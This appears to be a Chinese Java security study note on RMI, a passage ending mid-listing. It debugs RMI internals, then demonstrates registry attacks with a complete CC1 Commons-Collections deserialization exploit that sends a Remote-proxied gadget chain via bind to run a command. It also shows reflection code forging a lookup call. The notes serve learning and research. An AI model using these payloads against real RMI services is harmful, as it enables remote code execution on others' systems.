JAVA安全学习笔记--RMI篇(原理+攻击手法+高版本绕过)

RMI篇

必须吐槽一句,这真的是学的最难受的一个章节了。但是不学后面的学习又不好进行。

RMI原理

0x01 RMI基础

1. RMI介绍

RMI 全称 Remote Method Invocation(远程方法调用),即在一个 JVM 中 Java 程序调用在另一个远程 JVM 中运行的 Java 程序,这个远程 JVM 既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。

RMI 依赖的通信协议为 JRMP(Java Remote Message Protocol,Java 远程消息交换协议),该协议为 Java 定制,要求服务端与客户端都为 Java 编写。

RMI包括以下三个部分

img

Server ———— 服务端:服务端通过绑定远程对象,这个对象可以封装很多网络操作,也就是 Socket
Client ———— 客户端:客户端调用服务端的方法

由于服务端生成的远程对象是绑定到一个端口上的,而这个端口是动态生成的,所以还需要引入第三个部分Registry

Registry ———— 注册端;提供服务注册与服务获取。即 Server 端向 Registry 注册服务,比如地址、端口等一些信息,Client 端从 Registry 获取远程对象的一些信息,如地址、端口等,然后进行远程调用。

2. RMI实现

这里将客户端与服务端分为两个项目更助于理解。

先写服务端————Server

服务端

1. 先编写一个远程接口,其中定义了一个 sayHello() 的方法

public interface RemoteObj extends Remote {  

    public String sayHello(String keywords) throws RemoteException;  
}

此远程接口要求作用域为 public;继承 Remote 接口;让其中的接口方法抛出异常

2. 定义该接口的实现类 Impl

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj { 

    public RemoteObjImpl() throws RemoteException {  
    //    UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出  
 }  

    @Override  
 public String sayHello(String keywords) throws RemoteException {  
        String upKeywords = keywords.toUpperCase();  
 System.out.println(upKeywords);  
 return upKeywords;  
 }  
}
  • 实现远程接口
  • 继承 UnicastRemoteObject 类,用于生成 Stub(存根)和 Skeleton(骨架)。 这个在后续的通信原理当中会讲到
  • 构造函数需要抛出一个RemoteException错误

3. 注册远程对象

public class RMIServer {  
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {  
        // 实例化远程对象  
 RemoteObj remoteObj = new RemoteObjImpl();  
 // 创建注册中心  
 Registry registry = LocateRegistry.createRegistry(1099);  
 // 绑定对象示例到注册中心  
 registry.bind("remoteObj", remoteObj);  
 }  
}
  • port 默认是 1099,不写会自动补上,其他端口必须写
  • bind 的绑定这里,只要和客户端去查找的 registry 一致即可。
服务端

接下来写服务端

客户端只需从从注册器中获取远程对象,然后调用方法即可。当然客户端还需要一个远程对象的接口,不然不知道获取回来的对象是什么类型的。

所以在客户端这里,也需要定义一个远程对象的接口:

public interface RemoteObj extends Remote {  

    public String sayHello(String keywords) throws RemoteException;  
}

然后编写客户端的代码,获取远程对象,并调用方法

public class RMIClient {  
    public static void main(String[] args) throws Exception {  
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);  
 RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");  
 remoteObj.sayHello("hello");  
 }  
}
演示

以上的代码都写好了便可以运行看效果了,先运行服务端的启动类,将远程对象创建并发布到指定端口,然后绑定到注册中心。然后服务端通过注册中心获取IP与端口,最后获取远程对象并调用sayHello方法

  • 先运行服务端

image-20250916100020229

运行后它会停在这里监听

  • 再运行客户端

image-20250916100114215

由于没有实现服务端向客户端的数据回显,所以输出内容回到服务端查看。

image-20250916100146787

0x02 基于IDEA调试理解RMI的原理

RMI的实现流程是相当复杂的,但是自己动手跟一遍,再总结一下应该就能搞懂RMI的原理了。

1. 流程分析总览

RMI分为三个部分我们前面都讲过了:

  • RMI Server
  • RMI Registry
  • RMI Client

所以如果两两通信的话就会有6个交互流程,再加上各种的创建过程,加起来有9个流程。

是不是听起来就直接劝退了,耐心学吧逃不掉的。

RMI 的工作原理可以大致参考这张图,后续我会一一分析。

img

2. 创建远程服务

先说明一下,这一块地方是不存在漏洞的,存在漏洞的地方在于两两通信。

我们将其他的代码注释掉,在创建远程对象的地方下一个断点。

image-20250916101017247

发布远程对象

调试之前先介绍一下调试的几个按钮吧,当时我也是在调试这里一头雾水。

image-20250916101404252

好我们现在开始调试,一步步跟进。

image-20250916101450208

这里强制进入

image-20250916101510217

调用了this的构造方法,并传入的port为0。我们跟进方法。

image-20250916101617527

RemoteObjImpl 这个类是继承于 UnicastRemoteObject 的,所以先会到父类的构造函数,父类的构造函数这里的 port 传入了 0,它代表一个随机端口。

这里的port在最后阶段会被赋予一个随机端口,注意区分这个与注册中心的1099端口。

这里我们发现调用了一个exportObject方法,光看方法名我们也能猜出来它就是发布对象用的,也就是负责将远程服务发布到网络上。这就是我们前面代码中为什么要注释掉一段的原因。

    public RemoteObjImpl() throws RemoteException {  
    //    UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出  
 }  

我们跳行到exportObject这一行,然后进入方法查看一下。

image-20250916102052396

发现里面又调用了一个exportObject,并且第一个参数就是我们的远程对象。第二个参数是 new UnicastServerRef(port),英文翻译过来就是单播服务器引用,说明它是用来处理网络请求用的

这里我们先点一下F7,然后点击一下UnicastServerRef跟进到它的构造方法。这是IDEA小技巧。

image-20250916102729011

发现它new了一个LiveRef,这个东西非常的重要,后续你会发现有很多它的身影。它的英文翻译是活动引用

我们F7点击进入它的构造函数。

image-20250916103006929

发现new了一个ID并传入了一个port,不重要,我们F7看一下this的构造方法。

image-20250916103100565

这里就可以看到真正处理网络请求的类了TCPEndpoint。我们可以ctrl+左键进入看看它的构造函数。

image-20250916104043741

可以看到外面只需要传入一个host一个port就可以发起网络请求了。

回到上一步的代码,F7跟进到LiveRef的this里面。

image-20250916110236316

image-20250916110242477

可以发现进行了一系列的赋值,并且刚才的TCPEndPoint也被封装进LiveRef了。

以上便是LiveRef的创建过程,我们直接逐行跳过回到我们刚调用LiveRef的构造函数的地方。

image-20250916104547296

这个时候我们F7进入super,也就是它父类的构造函数里看看。

image-20250916104652051

发现将liveRef赋值给了父类UnicastRef的ref。这里的UnicastRef是指客户端的引用,而前面的UnicastServerRef则是服务端的引用,其实你也可以发现他们里面都封装了同一个liveRef

这样我们的UnicatServerRef便也创建好了,我们逐行跳过回到我们最初的exportObject那里。

image-20250916105348551

我们F7跟进到这个内部的exportObject里。

image-20250916105815134

发现首先会判断你这个远程对象是否继承自UnicastRemoteObject,我们代码中是写了继承的你还记得不?

然后就会把sref赋值给远程对象的ref。

可以看一眼变量表,其实从始至终都是那些东西,无非赋值来赋值去,然后封装来封装去。

image-20250916105949192

后面又调用了sref的exportObject,隔这套娃呢?没绷住。F7跟进看一眼。

这里便出现最最最重要的东西了"Stub存根"

image-20250916110656877

如果前面看那个流程图看的仔细的话应该知道,Stub不是在客户端的吗,怎么在服务端创建了?这里我就以那个流程图讲解一下。

image-20250916110828012

  • 其实RMI 先在 Service 的地方,也就是服务端创建一个 Stub,再把 Stub 传到 RMI Registry 中,最后才会让客户端拿到Stub,而不是客户端自己创建的。

接着我们研究 Stub 产生的这一步,先进到 createProxy 这个方法里面

image-20250916111635413

前面就是一些赋值和判断的操作,咱们暂时不用看。看到后面,便很明显是一个创建动态代理的过程了。

其中第一个参数loader就是AppClassLoader应用类加载器,第二个参数是一个远程接口,第三个参数是调用处理器,调用处理器里面只有一个ClientRef,它里面其实就封装了一个LiveRef,创建远程服务当中永远只有一个 ref就是LiveRef。

然后Stub便创建好了,我们可以看看它的封装。

image-20250916112529201

可以看到封装的还是那些东西,不过这里将UnicastRef给Stub最后交给客户端,而UnicastServletRef最后会封装到服务端的代理对象Skeleton里面。

继续F8跟进到Target这里。

image-20250916112834298

F7进入看看。

image-20250916112934856

Target 这里相当于一个总的封装,将所有用的东西放到 Target 里面。我们继续F8跟进到Target创建完成,然后看看它都封装了什么。

image-20250916113335232

可以发现无论是Target里的ID,还是与服务端有关的disp里的id,还是Stub里的id。其实都是LiveRef里的ID,这就是我为什么说LiveRef从始至终只有一个。

然后我们一路F8到 ref.exportObject(target)。这里便到了真正意义上的发布远程对象了。F7跟进去看看。

image-20250916113817831

调用到EndPoit的exportObject了,继续跟进。

image-20250916113924314

这便就到TCP传输了,调用了transport的exportObject,注意到我们现在一直都使用封装好的target作为参数。我们继续跟进。

image-20250916114106459

从这里的第一条语句listen就真正处理网络请求了,我们F7进入看看。

image-20250916114335837

创建了一个套接字等待,然后新建了一个线程t用来处理连接的操作。这里我挂几张图展示一下运行的逻辑。

image-20250916114806151

image-20250916115403563

漏了一点,实际上在创建套接字的方法中会判断port是否为0,如果是则会赋予一个随机值。

image-20250916115923381

然后一路F8跳出listen,这个时候看变量值。

image-20250916120040448

我们获取到了一个随机端口。到目前为止其实远程对象就已经被发布到了一个随机的端口上面。

再之后服务端还要对这个远程对象记录一下,我们F8到super.exportObject

image-20250916120430899

发布完成后的记录

F7跟进。

第一个语句 target.setExportedTransport(this); 是一个简单的赋值,我们就不看了,看下面的 ObjectTable.putTarget(target);,跟进去,一路 f8,因为都是一些赋值的语句,直到此处。

image-20250916120526363

RMI 这里会把所有的信息保存到两个 table里面。有点类似日志吧。

再之后一路F8经过一些赋值,代码就结束了,就会开始等待客户端的连接。

小结一下创建远程服务的过程

其实一路分析下来,可以发现最关键的方法就是exportObject,一路上各种套娃的调用各种类的这个方法。过程中会经过一系列的封装,但是最关键的就是LiveRef这个只有一个,无论客户端还是服务端都只有一个这个。然后会创建一个Stub经过注册中心最后会给到客户端,最后所有的关键内容都会被封装到Target里面。

整体思路其实并不难,只不过中间定义了太多的类有点繁琐。整体就是一个调用调用封装封装的过程。

3. 创建注册中心+绑定

创建注册中心

接下来我们在创建注册中心的地方下个断点调试

image-20250916135939209

首先强制步入

image-20250916140111400

里面调用了RegistryImpl的构造方法,我们需要一直F8,然后回到原处再F7步入。

image-20250916140237418

前面是一些安全检查不用管,可以发现结尾处先创建了一个LiveRef,然后又创建了一个UnicastServerRef并将LiveRef传入。这段代码与我们前面讲创建远程对象是挺相似的,我们跟进setup看一下。

image-20250916140700181

先是将uref赋值给ref,然后调用uref的exportObject。这里贴张前面发布远程对象的图对比一下。

  • 发布远程对象

image-20250916141043516

  • 区别在于第三个参数的不同,名为 permanent,第一张是 false,第二张是 true,这代表我们创建注册中心这个对象,是一个永久对象,而之前远程对象是一个临时对象。

然后F7跟进到exportObject:

image-20250916141302704

这里就到了创建stub的逻辑了,只不过这一次创建stub的方式与前面有所不同,我们跟入createProxy分析。

image-20250916141433003

还记得我们前面创建远程对象的时候提到过这个if条件吗,我们可以跟进到 stubClassExists 进行判断。

image-20250916141542103

它会判断是否能获取到 RegistryImpl_Stub 这个类,换句话说,也就是若 RegistryImpl_Stub 这个类存在,则返回 True,反之 False。我们可以找到 RegistryImpl_Stub 这个类是存在的。

  • 对比发布远程对象那个步骤,创建注册中心是走进到 createStub(remoteClass, clientRef); 进去的,而发布远程对象则是直接创建动态代理的。

image-20250916141818086

createStub执行的这个方法也很简单,就是直接通过反射创建这个对象,里面放的就是 ref。

image-20250916141857874

相比于之前发布远程对象中的 Stub,是一个动态代理,里面放的是一个 ref。
现在发布远程对象是用 forName 创建的,里面放的也是 ref,是一致的。

继续往下跟进

image-20250916141949504

如果stub继承自RemoteStub则执行setSkeleton,跟进去。

image-20250916142220853

然后这里有一个 createSkeleton() 方法,一看名字就知道是用来创建 Skeleton 的,而 Skeleton 在我们的那幅图中,作为服务端的代理。跟进

image-20250916142259494

可以发现Skeleton也是通过forname创建的。接着跟进就又来到了Target的创建,用于封装数据。

image-20250916142556378

然后调用exportObject就跟前面一样了,我们快速跟进直到,super()

image-20250916142703910

我们F7跟进

image-20250916142727052

到里面有一个 putTarget() 方法,它跟前面一样会讲封装的数据放入到Map里面,我们可以跟进看看。

image-20250916142850002

这里两个put就与前面的创建远程对象后的记录一样了。

我们可以看放入以后,这两个Table里面有什么东西。

image-20250916143028712

查看封装了什么数据

查看 static 中的数据,点开 objTable 可以发现有三个 Target,我们逐个分析一下。

image-20250916143139443

可以发现第一个Target的端口是1099,代表这就是我们刚添加进去的注册中心的Target。

然后我们看第二个

image-20250916143453882

发现这个什么DGCImpl的Target什么鬼这个我们明明没创建,其实这是系统自己生成的是分布式垃圾回收的一个对象,它并不是我们刚才创建的。这个东西还是挺重要的后面会碰到。

看最后一个

image-20250916143641024

这里很明显就是我们创建远程对象的时候放入的了。

所以这里就是起了几个远程服务,一个端口是固定了,另外两个端口是不固定的,随机产生的。至于为什么这里有三个 Target 呢?

  • 这个我们在第六点里面会讲到。
绑定
  • 绑定也就是最后一步,bind 操作

断点设置在bind语句那里

image-20250916143923412

同时我们也可以注意到创建好的远程对象以及注册中心,里面都有LiveRef,并且注册中心还有一个Skeleton。

我们跟进到bind里面看看。

image-20250916144054000

首先会检查是否是本地绑定的,这里是会通过的我便不跟了。

然后下一句是检查bindings,其实是一个Hashtable,检查里面是不是以及有了name。如果有了则抛出异常,没有就直接将name通过put放入到bindings这个表里。这里的两个参数,name代表在注册表的名字,而obj则是对应的远程对象。

小结一下创建注册中心 + 绑定
  • 总结一下比较简单,注册中心这里其实和发布远程对象很类似,不过多了一个持久的对象,这个持久的对象就成为了注册中心。

绑定的话就更简单了,一句话形容一下就是 hashTable.put(IP, port)

4. 客户端调用注册中心

获取注册中心

获取注册中心这一部分其实是没有漏洞的,漏洞都发生在反序列化的步骤

我们来到客户端的代码,将三条都给打上断点

image-20250916183102667

我们先跟进getRegistry

image-20250916183301281

还是这个方法,继续跟进到真正的getRegistry的代码逻辑,然后我们一路F8直到LiveRef

image-20250916183424155

发现这里仍然是创建一个LiveRef,然后创建一个UnicastRef。然后依然是通过createProxy来创建注册中心,并且第三个参数是false,说明在这里它是一个临时的对象。

这里想必有人就会有疑问了,为什么明明在服务端已经创建好了注册中心。为什么在客户端还要创建一个注册中心?其实这里并不是真正意义上的注册中心,你可以理解为它只是根据传入的参数生成的一个注册中心的引用,当通过它调用远程对象的方法时,会通过网络请求找到真正的注册中心并找到hashtable中储存的远程对象的stub并调用。

这里可以跟进createProxy看看。

image-20250916184158869

发现依然是走到这里,也就是跟真实的注册中心创建一样,是通过forName的方式创建的。

然后我们就获取到了注册中心,可以看看参数列表:

image-20250916184326801

其实就是封装了一些Ref,并没有Hashtable。

然后我们步入第二条lookup语句,看看查询远程对象的过程是怎么样的:

查找远程对象

这里调试的话,因为对应的 Java 编译过的 class 文件是 1.1 的版本,由于行号对不上,所以无法打断点。

但是没关系我们可以ctrl+左键进入每个方法研究。

我们先进入lookup方法查看

image-20250916185830297

这里我们还可以跟进到invoke方法里看一眼

image-20250916185941142

我们再跟进executeCall看一眼。

其实前面的内容都是网络请求的代码,其实我也看不太懂,我们重点关注后面的一段代码。

image-20250916190206984

可以看到,当返回了这样一个异常便会将输入流给反序列化。这里获取异常的本意应该是在报错的时候把一整个信息都拿出来,这样会更清晰一点,但是这里便会存在隐患。

目前为止,我们看到了两个地方有进行反序列化,这种情况下就可能存在反序列化的漏洞。

比如说:

  1. 我们注册中心绑定的远程对象是一个恶意类对象,经过反序列化便会触发恶意代码
  2. 或者就是通过恶意的对象,触发我们上图的步骤进行反序列化,这里的漏洞想必其他的更加隐蔽。
  • 也就是说,只要调用了invoke就有可能存在反序列化的漏洞。RMI 在设计之初就并未考虑到这个问题,导致客户端都是易受攻击的。

其实你细心的话,可以发现在RegistryImpl_Stub里的list,bind,rebind方法都用到了invoke,这样的话便有很多可利用的地方了。当然如何利用我们后面再谈。

  • 我们这里继续 f8,看一下到最后一步的时候获取到了什么数据。

简单来说就是获取到了 RemoteObj 这个动态代理,其中包含一个 ref。

image-20250916191141550

这里通过远程对象的动态代理调用对象,就会进入到invoke语句中。

而我们前面又分析到,执行了invoke语句就存在反序列化的漏洞。

5. 客户端请求服务端

存在漏洞

这里就是客户端请求的第三句代码了。

image-20250916191716677

这次就只对这条语句打个断点。然后发现能跟进到invoke方法

image-20250916192059150

前面都是一些有关异常的判断,我们直接跟进到invokeRemoteMethod方法中。

image-20250916194142239

注意到这里又调用了一个重构的invoke方法,我们F7进入看看。

image-20250916194433875

这里同样也是建立了一个连接,和之前的比较类似。我们往下跟进,注意到有一个marsha1Value方法,跟进去看看。

image-20250916194546625

前面都是一些类型的判断,如果都不符合便会对其进行序列化的操作。这里参数中的params其实就是我们传入的字符串。

image-20250916194912684

我们接着往下跟进

image-20250916194944387

发现这里同样调用了call.executeCall方法,我们前面说过客户端的所有网络请求其实都是再这个方法里面的,这个方法里面封装的其实也是JRMP协议。这个方法的实现与我们前面遇到的是基本一致的,所以它也所在那个捕获异常信息会反序列化的漏洞。这里就不重复说了

  • 接着往下跟进,发现调用了一个unmarsha1Value方法

image-20250916195305534

跟进看看。

image-20250916195343154

发现同样也是判断类型,然后进行反序列化。这里同样存在一个反序列化的漏洞。

其实整体看下来都与从注册中心查询远程对象的过程相似,漏洞点也都差不多。

最后会将returnValue给返回

image-20250916195800553

由于我们代码中没有设置返回值和输出,所以客户端这边才没有回显。

有关客户端主动发起请求的小结
  • 先说说存在攻击的点吧,在注册中心 –> 服务端这里,查找远程对象的时候是存在攻击的。

具体表现形式是服务端打客户端,入口类在 call.executeCall(),里面抛出异常的时候会进行反序列化。
这里可以利用 URLClassLoader 来打,具体的攻击在后续文章会写。还有一点便是readObject这里。

在服务端 —> 客户端这里,也是存在攻击的,一共是两个点:一个是 call.executeCall(),另一个点是 unmarshalValue 这里。

  • 再总结一下代码的流程

分为三步走,先获取注册中心,再查找远程对象,查找远程对象这里获取到了一个 ref,最后客户端发出请求,与服务端建立连接,进行通信。

6. 客户端发起请求,注册中心的处理

先说说断点怎么打,我们根据前面给出的流程图也知道,在客户端我们操作的是Stub,然后在服务端我们则操作的是Skeleton。而Skeleton最终也都会封装到Target里面,所以我们的断点应该打在处理Target的地方。

我们都知道服务端所有的网络请求的操作都在executeCall方法里面,这时候就不得不提一个与其密切相关的方法serviceCall。在服务端,serviceCall则可以用来处理网络请求。所以我们的断点可以这样设置

image-20250916220230572

先点 Server 的 Debug,再跑 Client 就可以了,成功的打断点如图

image-20250916220414080

然后我们就可以分析注册中心的处理流程了。

我们可以先看一眼从Hashtable中获取到的Target内容是什么。

image-20250916221249492

里面包含一个 stub,stub 中是一个 ref,这个 ref 对应的是 1099 端口。

接着往下跟进 final Dispatcher disp = target.getDispatcher();是从target中获取分发器并赋值给disp,我们想要的Skel其实就在disp里面。

image-20250916221441212

继续往下走,一直F8直到 disp.dispatch()

image-20250916222259858

F7跟进看一眼。一路F8后跟进到oldDispatch

image-20250916222420009

F7跟进查看。还是一路F8,直到Skel.dispatch

image-20250916223030212

这里才是重点,这里就是很多师傅文章里面会提到的 客户端打注册中心 的攻击方式。

我们可以跟进去看一眼。这里的源码非常长,基本都是在做Swtich case的工作。

我们与注册中心进行交互可以使用如下几种方式:

  • list
  • bind
  • rebind
  • unbind
  • lookup

这几种方法位于 RegistryImpl_Skel#dispatch 中,也就是我们现在 dispatch 这个方法的地方。

如果存在对传入的对象调用 readObject 方法,则可以利用,dispatch 里面对应关系如下:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

只要中间是有反序列化就是可以攻击的,而且我们是从客户端打到注册中心,这其实是黑客们最喜欢的攻击方式。我们来看一看谁可以攻击。

image-20250916223711194

image-20250916223732184

image-20250916223757985

image-20250916223826634

image-20250916223839611

综上所述,除了list不能利用,其他的方法都可以利用来攻击注册中心。

小结一下客户端发起请求,注册中心做了什么

简单,注册中心就是处理 Target,进行 Skel 的生成与处理。

漏洞点是在 skel.dispatch 这里,存在反序列化的入口类。这里可以结合 CC 链子打的。

7. 客户端发起请求,服务端做了什么

动态代理的stub

还是讲讲怎么设置断点,其实当客户端调用服务端的方法时,同样也会走到ServerCall方法里面。

所以我们这样设置断点。

image-20250917102345184

然后还是一样先启动服务端的debug,然后运行客户端。

image-20250917102509080

这里就跟我们前面的第6点一样了。接下来我们点两下F9。(F9是指跳到下一个断点,或者跳到下一次执行该断点处)

image-20250917102646758

发现变成了DGCImpl,这个我们前面提过是垃圾回收机制,我们后面再讲。再点两下F9。

image-20250917102756982

可以发现这个时候我们就获取到远程对象的动态代理的stub了。然后我们就可以继续跟进了,我们点一下F9跳到下一个断点处。

image-20250917102848592

然后F7跟进查看

image-20250917103225077

由于不符合条件所以我们不会像之前一样走入oldDispatch,继续F8往下跟进走到Method这里。

image-20250917110305152

可以看到Method里面的name就是我们想要调用的方法,继续往下跟进便可以看到熟悉的面孔unmarshalValue

image-20250917110427494

跟进看看

image-20250917110446122

发现与之前一样,先判断类型,不符合则反序列化,由于我们传入的是String类型,不符合所以会走到readObject这里,我们前面也说过这里是存在漏洞的。

接着往下跟进就是执行远程对象的方法了

image-20250917110635451

到这里服务器端调用方法的操作就基本做完了,下面我们讲一讲前面提到的DGCImpl垃圾回收。

DGC 的 stub

我们重新调试,回到我们当时看到stub为DGCImpl的时候。

image-20250917111148142

然后将这两个断点都给去掉,在 ObjectTable 类的 putTarget() 方法里下一个断点。

image-20250917112350236

之前的两个断点都去了的话,这次不用客户端了,我们直接从服务端debug,然后F9一下就跳到这了。

前面我们讲创建注册中心的时候分析到,当我们往Hashtable里放我们的target,然后我们查看static里面的数据发现莫名奇妙多出来一个DGCImpl_stub,那么这个到底是那里来的呢?

其实就是我们下的断点这个地方来的,dgcLogDGCImpl下的一个静态变量,前面讲类的动态加载之前我们也分析过当调用类的静态变量的时候会执行类的初始化的,也就是static{}里面的语句。

我们跟进到DGCImpl类里看看:

一下子就能找到静态代码块

image-20250917120117957

我们分析一下这个代码块。

image-20250917120612521

这下立马就搞明白DGCImpl_Stub是哪来的了,并且这里创建Stub与设置Skel的方式都与创建注册中心时一样,我就不再讲了。

接下来我们看看DGCImpl_Stub这个类立马有什么可以利用的地方,它有两个方法一个是 clean,另外一个是 dirty。clean 就是”强”清除内存,dirty 就是”弱”清除内存。

image-20250917122915719

image-20250917122933870

同样在 DGCImpl_Skel 这个类下也存在反序列化的漏洞,如图。

image-20250917123003906

总结

RMI 多数的利用还是在后续的 fastjson,strust2 这种类型的攻击组合拳比较多。

参考资料:

https://www.bilibili.com/video/BV1L3411a7ax?p=10&vd_source=a4eba559e280bf2f1aec770f740d0645

https://drun1baby.top/2022/07/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9801-RMI%E5%9F%BA%E7%A1%80/

RMI的攻击方式

0x01 RMI 的基本攻击方式

根据 RMI 的部分,有这么一些攻击方式

  • RMI Client 打 RMI Registry
  • RMI Client 打 RMI Server
  • 攻击RMI Client

0x02 攻击注册中心

注册中心交互的主要是这一句话

registry.bind("rmi://127.0.0.1:1099/sayHello", new RemoteObjImpl());

这里的交互方式不只是只有 bind,我们之前分析RMI原理的时候其实也提到除了list,其他的都存在反序列化漏洞:

我们攻击注册中心主要有如下几种方式:

  • bind
  • rebind
  • unbind
  • lookup

在客户端调用这几种方法,最终都会调用到服务端的 RegistryImpl_Skel#dispatch 中,前面也分析过,这个方法里面全是Switch case语句,对应了我们调用的不同方法,对应关系如下:

  • 0 —– bind
  • 1 —– list
  • 2 —– lookup
  • 3 —– rebind
  • 4 —– unbind

其实除了list与look,其他方法的交互在8u121之后都是需要localhost的。

下面我就主要分析bind/rebind,lookup/unbind这几种方法的攻击手法:

bind/rebind攻击

我们再看一眼这两个方法的实现。

首先是bind

image-20250918112814260

然后是rebind

image-20250919102215576

可以看到这两个方法都存在反序列化,并且允许反序列化的类型是String和Remote类型。

所以这个 bind 和 rebind 的服务端,就有概率可以作为反序列化攻击的一个入口类,如果服务端这里存在 CC 链相关的组件漏洞,那么就可以反序列化攻击。我们以CC1为例,导入相关的依赖。

<dependencies>  
 <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
    <dependency>  
    <groupId>commons-collections</groupId>  
     <artifactId>commons-collections</artifactId>  
     <version>3.2.1</version>  
 </dependency></dependencies>

由前面的分析可知,我们最终传给bind/rebind的对象是要求Remote类型。而CC1的入口类则是AnnotationInvocationHandler,我们直接将这个传给注册中心进行反序列化显然不可以。那怎么做才能实现Remote接口呢?其实可以通过动态代理的方法,在Proxy类里有一个newProxyInstance,正是用来创建实现了指定接口的动态代理的。

image-20250919103911832

所以我们采用动态代理的方式就可以解决Remote接口的问题了,这里就以LazyMap版的CC1链为例:

直接上POC:

package com.test.RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.Serializable;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {
        String execArgs = "calc";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        Map mapProxy =  (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class}, invocationHandler));
        registry.bind("test",r);
    }
}

先运行看看效果:

image-20250919104310605

成功弹出计算器。

  • 然后对比一下原来的CC1链,与这里有什么区别

原版CC1:

        InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);

        Object proxyMap =  Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
                , new Class[]{Map.class,Serializable.class}, invocationHandler);
        invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

poc中的CC1:

        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        Map mapProxy =  (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class}, invocationHandler));

这里对比原版CC1就是多实现了一层Remote的接口,然后通过Remote.class.cast转换成Remote对象。这样才符合RMI反序列化的规则。

  • rebind 的攻击也是如此,将 registry.bind("test",remote); 替换为 rebind() 方法即可。

image-20250919140221945

lookup/unbind攻击

老样子,我们先看一眼方法的源码。

首先是lookup方法

image-20250919161812743

然后是unbind方法

image-20250919161908681

可以发现这两个方法都是接收一个String类型的参数,这就有点难办了。因为我们的目的是传入一个我们构造好的Remote对象,然后触发反序列化漏洞。

我们还可以看一眼在客户端的lookup方法的实现。

image-20250919162355596

发现确实只能传入String类型,也就是说我们是没法通过lookup方法传入我们的Remote对象的。

  • 那怎么办呢?

其实如图所示,lookup方法里有实际作用的代码就框起来的那四条。我们完全可以不调用lookup方法,而是直接利用这些代码来伪造lookup的连接请求。

 // 伪造lookup的代码,去伪造传输信息  
 RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);  
 ObjectOutput var3 = var2.getOutputStream();  
 var3.writeObject(remote);  
 ref.invoke(var2);  

但是又有一个新的问题了。

  • newCall方法中的operations怎么获取?

获取方法如下:

 //获取UnicastRef
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();  
 fields_0[0].setAccessible(true);  
 UnicastRef ref = (UnicastRef) fields_0[0].get(registry);  

 //获取operations  

 Field[] fields_1 = registry.getClass().getDeclaredFields();  
 fields_1[0].setAccessible(true);  
 Operation[] operations = (Operation[]) fields_1[0].get(registry);  
  • 完整的伪造lookup如下:
 //获取UnicastRef
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();  
 fields_0[0].setAccessible(true);  
 UnicastRef ref = (UnicastRef) fields_0[0].get(registry);  

 //获取operations  

 Field[] fields_1 = registry.getClass().getDeclaredFields();  
 fields_1[0].setAccessible(true);  
 Operation[] operations = (Operation[]) fields_1[0].get(registry);

  // 伪造lookup的代码,去伪造传输信息  
 RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);  
 ObjectOutput var3 = var2.getOutputStream();  
 var3.writeObject(remote);  
 ref.invoke(var2);  

其余的部分与bind/rebind攻击一致。

完整的EXP:

package com.test.RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
